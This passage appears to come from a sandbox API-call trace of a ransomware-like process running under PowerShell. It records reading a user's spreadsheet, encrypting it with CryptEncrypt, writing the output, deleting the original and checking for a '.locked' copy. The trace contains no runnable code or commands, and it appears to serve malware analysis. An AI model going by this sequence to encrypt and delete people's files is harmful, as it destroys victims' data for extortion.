pdwDataLen=0x99ae79c*=0xd40) returned 1 [0132.863] ReadFile (in: hFile=0x858, lpBuffer=0x693b6f4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x693b6f4*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0132.863] CryptEncrypt (in: hKey=0x8e84df8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6950464*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6950464*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0132.863] CryptEncrypt (in: hKey=0x8e84df8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6950498*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6950498*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0132.863] WriteFile (in: hFile=0x874, lpBuffer=0x6936ed4*, nNumberOfBytesToWrite=0xd64, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6936ed4*, lpNumberOfBytesWritten=0x99ae7c8*=0xd64, lpOverlapped=0x0) returned 1 [0132.865] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", lpFilePart=0x0) returned 0x3a [0132.865] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0132.865] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.865] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.865] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.866] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\g dnfcb6fnjnr\\es3 _gqz.xls")) returned 0x20 [0132.866] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", lpFilePart=0x0) returned 0x3a [0132.866] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0132.866] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0132.866] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0132.866] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0132.866] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0132.866] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0132.867] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0132.867] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0132.867] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0132.867] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0132.867] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0132.867] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0132.867] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0132.867] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0132.867] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0132.867] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0132.867] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\g dnfcb6fnjnr")) returned 0x10 [0132.867] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\g dnfcb6fnjnr")) returned 0x10 [0132.867] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR", lpFilePart=0x0) returned 0x2d [0132.868] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR", lpFilePart=0x0) returned 0x2d [0132.868] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\g dnfcb6fnjnr\\es3 _gqz.xls")) returned 0x20 [0132.868] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", lpFilePart=0x0) returned 0x3a [0132.868] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", lpFilePart=0x0) returned 0x3a [0132.868] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", lpFilePart=0x0) returned 0x3a [0132.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0132.868] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", lpFilePart=0x0) returned 0x3a [0132.868] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls\\", lpFilePart=0x0) returned 0x3b [0132.868] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0132.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0132.869] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0132.869] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0132.869] CoTaskMemFree (pv=0x8eb8930) [0132.870] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\g dnfcb6fnjnr\\es3 _gqz.xls")) returned 0x20 [0132.870] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", lpFilePart=0x0) returned 0x3a [0132.870] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", lpFilePart=0x0) returned 0x3a [0132.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0132.870] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\g dnfcb6fnjnr\\es3 _gqz.xls"), fInfoLevelId=0x0, lpFileInformation=0x6965140 | out: lpFileInformation=0x6965140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a53d6d0, ftCreationTime.dwHighDateTime=0x1d4a2cf, ftLastAccessTime.dwLowDateTime=0x8e616370, ftLastAccessTime.dwHighDateTime=0x1d4a3cc, ftLastWriteTime.dwLowDateTime=0x8e616370, ftLastWriteTime.dwHighDateTime=0x1d4a3cc, nFileSizeHigh=0x0, nFileSizeLow=0xd46)) returned 1 [0132.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0132.870] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\g dnfcb6fnjnr\\es3 _gqz.xls")) returned 1 [0132.872] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.872] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0132.872] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.872] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.872] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.873] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\g dnfcb6fnjnr\\es3 _gqz.xls.locked")) returned 0x20 [0132.874] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\g dnfcb6fnjnr\\es3 _gqz.xls.locked")) returned 0x20 [0132.874] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls.locked", lpFilePart=0x0) returned 0x41 [0132.874] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls.locked", lpFilePart=0x0) returned 0x41 [0132.874] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.874] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", lpFilePart=0x0) returned 0x3a [0132.874] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0132.874] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.874] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.874] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.877] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.877] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0132.877] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.877] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.877] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.879] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.879] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0132.879] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.879] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.879] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.881] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.881] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0132.882] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.882] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.882] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.884] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.884] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0132.884] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.884] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.884] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.886] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.888] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99add1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", 